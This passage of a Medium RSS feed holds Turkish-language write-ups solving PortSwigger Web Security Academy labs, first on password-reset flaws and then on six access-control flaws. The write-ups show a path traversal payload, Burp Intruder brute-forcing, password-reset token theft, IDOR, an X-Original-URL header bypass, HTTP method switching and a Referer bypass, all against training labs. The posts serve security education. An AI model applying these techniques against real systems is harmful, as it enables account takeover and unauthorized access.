src="https://cdn-images-1.medium.com/max/955/1*8KpMLI3P6j7WtgWiMIoidA.jpeg" /></figure><p><strong>openapi.json</strong>, genellikle bir web uygulamasının API uç noktalarını, parametrelerini, beklenen veri formatlarını ve yetkilendirme mekanizmalarını tanımlayan bir <strong>OpenAPI (eski adıyla Swagger)</strong> belgesidir. Bu dosya genellikle geliştiricilere API&#39;nin nasıl kullanılacağını göstermek amacıyla sunucuda tutulur.</p><p>Bu tür dosyalar yanlış konumlandırılmış veya dışa açık bırakılmışsa, saldırganlar için önemli bilgiler içerebilir. Örneğin:</p><p>· <strong>API uç noktalarının tam yolları</strong></p><p>· <strong>Gizli parametreler veya header bilgileri</strong></p><p>· <strong>Yetkisiz erişilebilecek endpoint’ler</strong></p><p>· <strong>Token alma, parola sıfırlama gibi kritik işlemlerle ilgili yapı</strong></p><p><strong>username=../../../../openapi.json#</strong> gibi bir ifade, dizin geçişi (directory traversal) saldırısı ile sunucunun kök dizinindeki <strong>openapi.json</strong> dosyasına erişmeye çalışır. Bu teknikle uygulamanın istemeden dışa açtığı dosyalar keşfedilebilir.</p><p>Ben bu payload’u denediğimde sistem bana bir dizin veya yapısal tanım döndürüyor. Bu yapı, büyük ihtimalle bir endpoint’in yolunu ya da token elde edebileceğim bir URL bilgisini içeriyor. Bu sayede normalde göremeyeceğim parola sıfırlama sürecine dair kritik bir detayı yakalayabiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*kM4Raeaf3A0ZItvQb84YqA.jpeg" /></figure><p><strong>username=../../../..//api/internal/v1/users/administrator/field/{field}#</strong> şeklinde düzenlediğim isteği gönderdiğimde, sistem bana <strong>field</strong> alanının mevcut oldmadığını belirten bir yanıt döndürüyor. Bu nedenle, bu endpoint üzerindeki kullanılabilir alanları tespit etmek amacıyla isteği <strong>Burp Suite Intruder</strong> aracına göndererek field parametresine yönelik bir brute-force saldırısı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*Aw-STlfEwfm4YhPpM61AVA.jpeg" /></figure><p><strong>{field}</strong> parametresi yalnızca tek bir yerde geçtiği için, attack type olarak <em>Sniper</em> yöntemini seçiyorum. Bu saldırıda kullanmak üzere, internetten “directory brute-force path list” şeklinde arama yaparak çeşitli hazır dizin listeleri temin edebilirsiniz. Ancak ben Burp Suite’in Pro sürümünü kullandığım için, doğrudan Burp’un kendi sunduğu hazır listelerden birini tercih ettim. Ayarları tamamladıktan sonra Start attack diyerek saldırıyı başlatıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*spX75Zd8n5eGDQGBXPH8JA.png" /></figure><p>Gerçekleştirdiğim saldırı sonucunda, <strong>200 OK</strong> yanıtı dönen bazı <strong>email</strong> ve <strong>username</strong> parametrelerini tespit ettim. Bu parametreleri daha sonra <strong>{field}</strong> değişkeninin yerine yazarak test ettim. Ancak yapılan denemelere rağmen, parola sıfırlamaya yönelik herhangi bir <strong>token</strong> bilgisi elde edemedim. Bu da henüz doğru alan adını veya doğru endpoint’i keşfetmediğim anlamına geliyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*5cqDSBOFTd1oJDHFOidJCg.jpeg" /></figure><p>İlk analiz ettiğim pakette, <strong>passwordResetToken</strong> isminde bir değişken dikkatimi çekti ve bu değişken üzerinden bir token elde edilebileceğini düşündüm. Bu nedenle, gerçekleştirdiğim brute-force saldırısında <strong>{field}</strong> değişkenine <strong>passwordResetToken</strong> yazarak doğru alanı tespit etmeyi ve bu sayede token bilgisini elde etmeyi hedefliyorum. Parametreyi yazıp paketi gönderdiğimde başarılı bir şekilde resetleme tokenini elde ettim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*KUl9YeVgfoUwYJNChL64mA.jpeg" /></figure><p>Elde ettiğim token’in, daha önce analiz ettiğim ilk pakette yer alan <strong>/forgot-password?passwordResetToken=</strong> dizini ile birlikte kullanıldığında parola sıfırlama işlemini tetiklediğini biliyordum. Ancak daha önce elimde geçerli bir token olmadığından bu URL benim için işe yaramıyordu. Artık geçerli bir token elde ettiğim için, aşağıda gösterilen URL’yi tarayıcıda açtığımda beni doğrudan parola sıfırlama ekranına yönlendiriyor:</p><p><strong>web-security-academy.net/forgot password?passwordResetToken= nkk0uyj6jq95pjpo1sku5657a3hm7xv6</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*N8xrw46M_wTsn74se5V55w.jpeg" /></figure><p>Parolayı başarıyla sıfırladıktan sonra, administrator hesabıyla sisteme giriş yapabiliyorum. Giriş yaptıktan sonra, lab senaryosunda benden istenen işlemi yerine getirerek <strong>Carlos</strong> kullanıcısını siliyorum ve böylece lab’ı başarılı bir şekilde tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*WQQRMtBLS-1qB0elhdqpfg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*bQRU2ACOmfyH-64szcE-nA.jpeg" /></figure><p>Bu laboratuvar çalışmasında, parola sıfırlama mekanizmalarını hedef alan çeşitli zafiyetleri başarıyla analiz ettik ve istismar ettik. Özellikle CSRF açıkları, endpoint brute-force denemeleri, gizli dizin keşfi ve token elde etme yöntemleri üzerine odaklandık. Tüm adımları dikkatli bir şekilde analiz ederek ve Burp Suite gibi araçları etkin kullanarak<strong> </strong>beş farklı senaryoyu başarıyla tamamladık.</p><p>Bu süreçte, saldırı yüzeyinin yalnızca görünen parametrelerle sınırlı olmadığını; arka planda çalışan JavaScript dosyaları, dizin yapıları ve sistemin cevapları üzerinden birçok bilgi elde edilebileceğini gördük. Her bir lab, saldırı vektörlerini daha iyi anlama ve pratik becerilerimizi geliştirme konusunda önemli katkılar sağladı.</p><p>Bir sonraki labda görüşmek üzere, başarılı testler dilerim!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d145f7c4cb2e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Access Control (Erişim Kontrolü) Portswigger Lab Çözümleri - Bölüm 2]]></title>
            <link>https://medium.com/@eneskurtlan/access-control-eri%C5%9Fim-kontrol%C3%BC-portswigger-lab-%C3%A7%C3%B6z%C3%BCmleri-b%C3%B6l%C3%BCm-2-104feab9dc82?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/104feab9dc82</guid>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[access-control]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 08:00:55 GMT</pubDate>
            <atom:updated>2025-07-03T08:00:55.804Z</atom:updated>
            <content:encoded><![CDATA[<p>Access Control zafiyetleriyle ilgili yazı dizimin ilk bölümünde toplam yedi laboratuvarın çözümünü paylaşmıştım. Şimdi ise kalan altı lab ile yazıma devam ediyorum.</p><h4><strong>Lab: User ID controlled by request parameter with password disclosure</strong></h4><p>Bu laboratuvarda, kullanıcı hesap sayfasında mevcut kullanıcının mevcut parolası, gizli (maskelenmiş) bir giriş alanında önceden doldurulmuş olarak yer almaktadır.</p><p>Labı tamamlamak için, yönetici (administrator) kullanıcısının parolasını elde edin ve bu parola ile giriş yaptıktan sonra “carlos” adlı kullanıcıyı silin.</p><p>Size ait hesaba giriş yapmak için şu bilgileri kullanılabilir: <strong>wiener:peter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*bn4zkjRaFxFl_UPfxWBdmA.jpeg" /></figure><p>Burp Suite aracını aktif hâle getirerek labı başlatıyorum. Verilen kimlik bilgileri olan <strong>wiener:peter</strong> ile sisteme giriş yapıyorum. Giriş sonrası gelen ekranda, e-posta ve parola bilgilerini güncelleyebileceğim bir form görüyorum. Ancak parola alanının içeriği dolu olarak geliyor. Bu kutucuğu <strong>Inspect (Q)</strong> özelliğiyle incelediğimde, HTML kaynak kodunda parolanın aslında <strong>gizlenmeden (masked) </strong>değil,<strong> </strong>düz metin olarak göründüğünü fark ediyorum. Bu durum, ciddi bir güvenlik açığıdır çünkü sistem, kullanıcının parolasını istemci tarafında açık bir şekilde göstermemelidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*vvbu2CddjEB_UnGWXZOZDA.jpeg" /></figure><p>Bu nedenle, ilgili HTTP isteğini Burp Suite aracılığıyla yakalayarak daha detaylı analiz edebilmek için <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*3x7w9rPrubzoPP0guVoesA.jpeg" /></figure><p>Paketi analiz ettiğimde, isteğin içinde <strong>id</strong> alanında <strong>wiener</strong> yazdığını görüyorum. Sayfa kaynağında da wiener kullanıcısına ait parola bilgisinin açık şekilde yer aldığını fark ediyorum. Bu mantıkla hareket ederek, <strong>id</strong> alanındaki değeri <strong>administrator</strong> olarak değiştirip isteği tekrar gönderiyorum. Sonuç olarak, başarılı bir şekilde <strong>administrator</strong> kullanıcısının value değeri olarak parolasını açık bir şekilde görmüş bulunmaktayım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*QuadQMT2YuikX-t8uhsxBw.jpeg" /></figure><p>Elde ettiğim parola bilgisi sayesinde <strong>administrator</strong> olarak sisteme giriş yapıyorum. Lab açıklamasında belirtildiği üzere, admin paneline giderek <strong>Carlos</strong> kullanıcısını siliyorum. Böylece lab başarılı bir şekilde tamamlamış bulunmaktayım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*byQW06jNN3gyLKVDbYcQpQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*uSLSA_MGBRovzp2vOHDMYQ.jpeg" /></figure><p>Bu lab, istemci tarafında gizlenmiş gibi görünen ama aslında kolaylıkla erişilebilen hassas verilerin ne kadar tehlikeli olabileceğini açıkça ortaya koydu. Parolanın HTML kaynak kodunda düz metin olarak tutulması, ciddi bir güvenlik açığıdır. Bu tür bir zafiyet, kötü niyetli kullanıcıların yetkisiz erişim elde etmesine ve sistem üzerinde kontrol sağlamasına neden olabilir. Hassas veriler hiçbir zaman istemci tarafında işlenmemeli ya da görünmemelidir. Bir sonraki labda görüşmek üzere!</p><h3><strong>Lab: Insecure direct object references</strong></h3><p>Bu lab, kullanıcı sohbet geçmişlerini doğrudan sunucunun dosya sisteminde depolamakta ve bu verilere statik URL’ler üzerinden erişmektedir.</p><p>Labı çözmek için, <strong>carlos</strong> kullanıcısına ait parolayı bulmamız ve bu bilgilerle carlos hesabına giriş yapmamız istenmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*6K0OFDTscCPO3W2rKpaKHg.jpeg" /></figure><p>Burp Suite aracını aktif hale getirerek labı başlatıyorum. Sayfa açıldığında dikkatimi <strong>“Live Chat”</strong> bölümü çekiyor ve bu kısmı açıyorum. Sohbet kısmında bir yazışma gerçekleştirdiğimde herhangi bir log kaydının oluşmadığını fark ediyorum. Bu nedenle, <strong>“View transcript”</strong> seçeneğine tıklayarak sohbet geçmişini indirmeyi deniyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*Ma4mj9DRg4ieqEKBtNvBqg.jpeg" /></figure><p>Sohbet geçmişini indirirken Burp Suite üzerinde bazı isteklerin geldiğini gözlemliyorum. Bu isteklerden birinde, sunucudan bir <strong>.txt</strong> dosyasının çağrıldığını fark ediyorum. Bu isteği daha detaylı analiz edebilmek için <strong>Repeater</strong> sekmesine gönderiyorum</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*ggshOMS1ZzyULsU5Yca5gg.jpeg" /></figure><p>İsteği gönderdiğimde, sohbet sırasında geçen konuşmaların yer aldığı içeriği başarılı bir şekilde görüntüleyebiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*u5K7i3NV7WI8inngwJ-z1Q.jpeg" /></figure><p>Bu nedenle farklı <strong>.txt</strong> dosyalarının var olabileceği ihtimalini göz önünde bulundurarak parametreleri manuel olarak denemeye başladım. Bu aşamada isteği Burp Suite üzerinden <strong>Intruder</strong> aracına gönderip brute-force yöntemiyle de tarama yapabilirdim. Ancak manuel olarak denediğim <strong>1.txt</strong> dosyasına ait istekte, farklı bir sohbet dökümüne ulaştım. Sohbet içeriğini incelediğimde ise dikkatimi çeken bir parola bilgisi yer almaktaydı. Bu bilginin <strong>Carlos</strong> kullanıcısına ait olabileceğini düşünerek değerlendirmeye karar verdim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*QHjrLOKQGQJ43dKCRaP5Kg.jpeg" /></figure><p>Elde ettiğim parola bilgisini kullanarak Carlos kullanıcısıyla sisteme giriş yaptım ve girişin başarılı olduğunu doğruladım. Böylece bu labı başarıyla tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*iL0HSstXYTHqwehPfpRCog.jpeg" /></figure><p>Bu lab, sohbet kayıtlarının sunucu dosya sistemi üzerinde tutulması ve statik URL’ler aracılığıyla erişilebilir olması nedeniyle oluşan bir bilgi sızdırma zafiyetini açıkça ortaya koydu. Basit gibi görünen bu yapı, doğru analiz edildiğinde hassas bilgilere ulaşmayı mümkün kılıyor. Özellikle URL tahmini ve dosya erişimi konularında dikkatli olunması gerektiğini bir kez daha görmüş olduk.</p><p>Bu tür zafiyetler, kullanıcı gizliliğini tehdit ettiği gibi sistem bütünlüğünü de tehlikeye atabilir. Güvenli bir sistem için, kullanıcıya ait kayıtların doğrulama mekanizmaları olmadan erişilebilir olmaması kritik öneme sahiptir.</p><h3><strong>Lab: URL-based access control can be circumvented</strong></h3><p>Bu web sitesinde <strong>/admin</strong> dizininde kimlik doğrulaması gerektirmeyen bir admin paneli bulunmaktadır. Ancak, ön uç (front-end) sistemi bu dizine dış erişimi engelleyecek şekilde yapılandırılmıştır. Öte yandan, arka uç (back-end) uygulaması, <strong>X-Original-URL</strong> başlığını (header) destekleyen bir framework üzerine kurulmuştur.</p><p>Labı tamamlamak için admin paneline erişip <strong>Carlos</strong> kullanıcısını silmemiz gerekmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*EL0WS2bLEk_e9xAhasIdUg.jpeg" /></figure><p>Admin paneline erişmeye çalıştığımda karşıma “Access Denied” (Erişim Reddedildi) uyarısı çıkıyor. Bu isteği Burp Suite aracılığıyla yakalayıp, detaylı analiz edebilmek için Repeater sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*lOho_JtuvCaj6HmyAkJNLA.jpeg" /></figure><p>İncelediğim istekte <strong>X-Original-URL: /google.com</strong> şeklinde bir header ekleyerek sunucunun bu başlığa nasıl tepki verdiğini test ediyorum. Bu işlemi yapmamın nedeni, bazı framework&#39;lerin <strong>X-Original-URL</strong> gibi özel header&#39;ları kullanarak isteğin yönlendirilmesini sağlayabilmesi. Eğer bu header aktifse, sunucu asıl isteği bu parametreye göre işler. Gönderdiğim isteğe karşılık 200 OK cevabı gelmesi, bu header’ın gerçekten dikkate alındığını ve manipülasyona açık olduğunu gösteriyor. Bu da bizi, erişim kısıtlaması olan başka endpoint&#39;lere ulaşma konusunda umutlandırıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*AI89XnX4G4XeUwK4Lz8cgg.jpeg" /></figure><p><strong>X-Original-URL</strong> header’ına <strong>/admin</strong> parametresini ekleyerek isteği gönderiyorum. Bu sayede başarılı bir şekilde Carlos kullanıcısının silinmesi gereken admin panel dizinine erişim sağlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*6lDRI_1eVCOrIbEHwqdbmA.jpeg" /></figure><p>Header’larda gerekli düzenlemeleri yaptıktan sonra, <strong>302</strong> yönlendirme kodu alarak Carlos kullanıcısını başarılı bir şekilde sildiğimi doğrulayabiliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*UTC-5hBt8LlyBtGHYYWHHw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*n_t1102jAIqjMTpxlnabLg.jpeg" /></figure><p>Bu lab sayesinde, ön yüz (frontend) engellemelerine rağmen arka planda çalışan uygulamanın X-Original-URL gibi özel header’larla manipüle edilerek yetkisiz erişim sağlanabileceğini gördük. Bu tür zafiyetler, erişim kontrolünün sadece frontend katmanda yapılmasının yetersiz olduğunu ve mutlaka backend’de de sağlam kontrollerin olması gerektiğini bize hatırlatıyor. Güvenlik önlemlerinde çok katmanlı korumanın önemi bir kez daha ortaya çıkmıştır.</p><h3><strong>Lab: Method-based access control can be circumvented</strong></h3><p>Bu labda erişim kontrolleri kısmen HTTP istek yöntemlerine (GET, POST, PUT vb.) bağlı olarak uygulanmaktadır. Admin panelini daha iyi anlamak için, <strong>administrator:admin</strong> kullanıcı bilgileriyle giriş yapabilirsiniz. Labı çözmek için ise<strong> wiener:peter</strong> bilgileriyle giriş yapıp, hatalı erişim kontrollerinden faydalanarak kendinizi yönetici (admin) yapmamız istenmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*EL0WS2bLEk_e9xAhasIdUg.jpeg" /></figure><p>Burp Suite’i açıp verilen <strong>administrator:admin</strong> bilgileriyle giriş yapıyorum. Giriş yaptıktan sonra admin panelinde kullanıcıların yetkilerini görebiliyorum. Carlos kullanıcısının yetkilerini normalden admin seviyesine yükseltiyorum. Bu işlemi yaparken, Burp üzerinden paketi yakalayıp Repeater’a göndererek isteği detaylıca inceliyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*St46L04nC-TCr7QQyHi76A.jpeg" /></figure><p>Yakaladığım paketi Repeater üzerinden gönderdiğimde, sunucudan <strong>401 Unauthorized</strong> durum kodu ile bir yanıt alıyorum. Bu da isteğin yetkisiz bir kullanıcı tarafından yapıldığını ve işlemeye alınmadığını gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*zD-tU7L2r9LbMQW7kcirXA.jpeg" /></figure><p>Diğer giriş bilgileri olan <strong>wiener:peter</strong> ile sisteme giriş yapıyorum. Bu oturum sırasında Burp Suite ile isteği yakalayarak <strong>cookie</strong> bilgisini alıyorum. Ardından bu cookie bilgisini, daha önce yakaladığım <strong>/admin-roles</strong> isteğine ekleyerek gönderiyorum. Ancak sunucu, yine <strong>401 Unauthorized</strong> durum kodu ile yanıt veriyor. Bu da wiener kullanıcısının, admin yetkilerine erişim izni olmadığını gösteriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*a4j7yn1BybE1iwwqwQFk5Q.jpeg" /></figure><p>Burp Suite’te bulunan <strong>“Change request method”</strong> özelliği, gönderilen bir HTTP isteğinin metodunu (örneğin G<strong>ET, </strong><strong>POST, </strong><strong>PUT, </strong><strong>DELETE</strong> gibi) kolayca değiştirmenizi sağlar. Bu özellik özellikle erişim kontrolü zafiyetlerini test ederken oldukça işe yarar.</p><p>Örneğin, bir <strong>POST</strong> isteğiyle yetkisiz olan bir kullanıcı 401 hatası alırken, aynı isteği <strong>GET</strong> ya da <strong>DELETE</strong> gibi farklı bir metotla gönderdiğinizde sistem beklenmedik şekilde başarılı bir yanıt dönebilir. Bu durum, sistemin yalnızca HTTP metoduna göre yetkilendirme yapmaya çalıştığını ve bu yetkilendirmenin zayıf olduğunu gösterir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*LZulDHvRaGZpTt_-X5eBmA.jpeg" /></figure><p>Düzenlediğim GET isteğinde, kullanıcı parametresini Carlos yerine wiener olarak değiştirip isteği gönderiyorum. Bu isteğe gelen <strong>302 Found</strong> yönlendirme cevabından, <strong>wiener</strong> kullanıcısının başarılı bir şekilde admin rolüne yükseltildiğini anlıyoruz. Böylece lab başarılı bir şekilde tamamlamış olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*viOVL-MpUt8J1PeD0TjbSg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*UqJpnMmyZyDviycFDzfvNA.jpeg" /></figure><p>Bu labda, HTTP metoduna dayalı hatalı erişim kontrolünün nasıl kötüye kullanılabileceğini gördük. Normal şartlarda yalnızca admin’lerin gerçekleştirebileceği bir işlem, isteğin türü değiştirilerek (örneğin GET yerine POST yapılmadan) herkesin erişimine açılmıştı. Burp Suite’in “Change request method” özelliğini kullanarak bu güvenlik açığını sömürdük ve wiener kullanıcısını admin seviyesine yükselttik.</p><p>Bu tarz zafiyetlerin önüne geçmek için sadece kullanıcı yetkilerine değil, gelen HTTP isteğinin metoduna da dikkat edilmesi ve uygun şekilde doğrulama yapılması büyük önem taşıyor.</p><h3><strong>Lab: Multi-step process with no access control on one step</strong></h3><p>Bu labda, kullanıcı rollerini değiştirmeye yönelik çok adımlı bir işlem içeren bir admin paneli bulunmaktadır. Sana <strong>administrator:admin</strong> giriş bilgileri verilmiştir, böylece admin panelin nasıl çalıştığını görebilirsin. Labı çözmek için, <strong>wiener:peter</strong> hesabıyla giriş yapman ve hatalı erişim kontrollerinden faydalanarak bu kullanıcıyı bir yönetici (administrator) rolüne yükseltmemiz istenmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*OPcqm0Hy42iW6U_vGorA6g.jpeg" /></figure><p>Burp Suite aktif ederek bana verilen <strong>administrator:admin</strong> bilgilerini girerek yönetici paneline erişiyorum. Buradan admin paneline gidip Carlos kullanıcısının yetkisini yükseltme işlemlerini yapıyorum. Bu işlemleri yaparken burp ile bu trafiği de yakalıyorum. Yakaladığım bu paketi Repeater’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*PqfiAiGYGIkJ3yyp6JzJbQ.jpeg" /></figure><p>Yükseltme işlemi sırasında “Emin misiniz?” şeklinde bir onay ekranı çıkıyor ve burada <strong>Evet</strong> seçeneğini işaretlediğimde, sunucu bana<strong> 302</strong> yönlendirme koduyla birlikte başarılı bir şekilde admin yetkisine geçtiğimi gösteriyor. Bu işlemi daha iyi analiz edebilmek için ilgili isteği Burp Suite üzerinden yakalayarak <strong>Repeater</strong>’a gönderiyorum. Burada dikkat edilmesi gereken nokta şu: rol yükseltme işlemi <strong>çok adımlı bir süreçtir.</strong> İlk adımda istek gönderildikten sonra, ikinci adım olan onay isteği de gönderilmelidir. Yani, bu iki istek birbirinden bağımsız değil; biri gönderilmezse süreç tamamlanmaz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*Mkmx22CPEg26qDaIONVXiQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*NdoXJEZsANETpJzKdF53ww.jpeg" /></figure><p>Bana verilen diğer giriş bilgileri ise <strong>wiener:peter</strong> kullanıcısına aittir. Bu bilgileri kullanarak sisteme giriş yaptığımda, başarılı bir şekilde oturum (<strong>session</strong>) bilgilerini elde ediyorum. Bu oturum bilgisi, ilerleyen adımlarda yapılacak yetki yükseltme işlemi için kullanılacaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*NFwICcylVfKoATdHOqX23A.jpeg" /></figure><p>Elde ettiğim bu <strong>session</strong> bilgisini, ilk yakaladığım yetki yükseltme isteğinde kullanarak gönderiyorum. Bu istekte, isim olarak <strong>Carlos</strong> yerine <strong>wiener</strong> yazıyorum. Ancak istek sonucu olarak <strong>401 Unauthorized</strong> (Yetkisiz erişim) hatası alıyorum.</p><p>Bu hatanın nedeni büyük ihtimalle, <strong>çok adımlı (multi-step)</strong> bir işlem süreci olmasıdır. Yani sadece tek bir isteği göndermek yetmiyor; sistem, önce “yetki yükseltme isteği” gönderilmesini, ardından da “onay” (örneğin 302 yönlendirmeyle gelen ikinci adım) isteğinin yapılmasını bekliyor. Eğer bu zincir tamamlanmazsa, sistem isteğin geçerliliğini tanımıyor ve güvenlik gereği 401 hatası ile yanıt veriyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*DYMz0KQOYqwcM0MWMQziQg.jpeg" /></figure><p>Burada ise, Wiener’a ait cookie bilgisini ve kullanıcı adını da <strong>wiener</strong> olarak değiştirip paketi gönderdiğimde, <strong>302 </strong>yönlendirme kodu ile başarılı bir şekilde admin yetkisine yükseltildiğimi görüyorum. Böylece labı başarılı bir şekilde tamamlamış olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*NI38I8c6OO2n8xCnPq5LIw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*CJpe-W9jUWFsIIrKeAeQWA.jpeg" /></figure><p>Bu lab sayesinde, çok adımlı yetki yükseltme sürecindeki zafiyetlerin nasıl kötüye kullanılabileceğini görmüş olduk. Özellikle isteklerin birbirine bağlı olması ve doğru sırayla yapılmasının önemini anladım. Böyle güvenlik açıkları, kötü niyetli kişilerin yetkilerini yükselterek sisteme zarar vermesine yol açabilir. Bu yüzden çok adımlı işlemlerde de her adımın doğru kontrol edilmesi çok önemlidir.</p><h3><strong>Lab: Referer-based access control</strong></h3><p>Bu lab, belirli yönetici fonksiyonlarına erişimi Referer başlığına (header) göre kontrol etmektedir. Yönetici panelini keşfetmek için administrator:admin bilgileri ile giriş yapabilirsiniz.</p><p>Labı çözmek için ise wiener:peter bilgileri ile giriş yaparak hatalı erişim kontrolünü kullanıp kendinizi yönetici olarak yükseltmeniz gerekiyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*yetYNaeMufNbYSoY2d8jOg.jpeg" /></figure><p>BurpSuite’i aktif ederek labı başlatıyorum. Bana verilen administrator:admin bilgileriyle admin paneline giriş yapıyorum. Panelde Carlos’a ait kullanıcı yetkisini yükseltme seçeneği bulunuyor. “Upgrade user” diyerek yetkiyi yükseltiyorum ve bu işlemi yaparken paketi Burp Suite ile yakalayıp analiz etmek için Repeatera gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*bbvxAMAN2NmLCgdffem11A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*bty6SYGc2zjBm3Si-ZbTbQ.jpeg" /></figure><p>Diğer giriş bilgileri olan <strong>wiener:peter</strong> ile sisteme giriş yaptıktan sonra, kullanıcının session bilgisini elde ediyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*sVXjUC3KTSIqdjUF7NSf1A.jpeg" /></figure><p>Yakaladığım ilk istekte cookie bilgisini wiener’ın coocie bilgisi , username kısmına da wiener yazarak isteği gönderiyorum. Gönderdiğim isteğe 302 yönlendirme durum kodu ile başarılı bir yanıt alıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*1y-HxMMufgahQuDwEiQzQQ.jpeg" /></figure><p>Böylece labı başarılı bir şekilde tamamlamış olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*5hvpZC4SSJc-cclBZDVy-w.jpeg" /></figure><p>Bu labda yaşanan zafiyet, HTTP isteğinde bulunan <strong>Referer</strong> başlığının (header) doğrulanmaması ya da yeterince kontrol edilmemesinden kaynaklanıyor. Yani uygulama, admin işlemlerine erişimi sadece belirli bir sayfadan (örneğin admin panelinden) gelen isteklerle sınırlandırmaya çalışıyor, ama bu kontrol zayıf kalıyor.</p><p>Kısaca, <strong>Referer kontrolü tek başına güvenilir bir erişim kontrol yöntemi değildir</strong>, çünkü kolayca taklit edilebilir ve bu da yetkisiz erişimlere yol açar. Bu nedenle, erişim kontrolleri mutlaka sunucu tarafında, oturum ve kullanıcı yetkileri gibi sağlam mekanizmalarla yapılmalıdır.</p><p>Böylece Access Control (Erişim Kontrolü) konusundaki tüm labları başarıyla tamamlamış olduk. Yeni lablarda görüşmek üzere.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=104feab9dc82" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>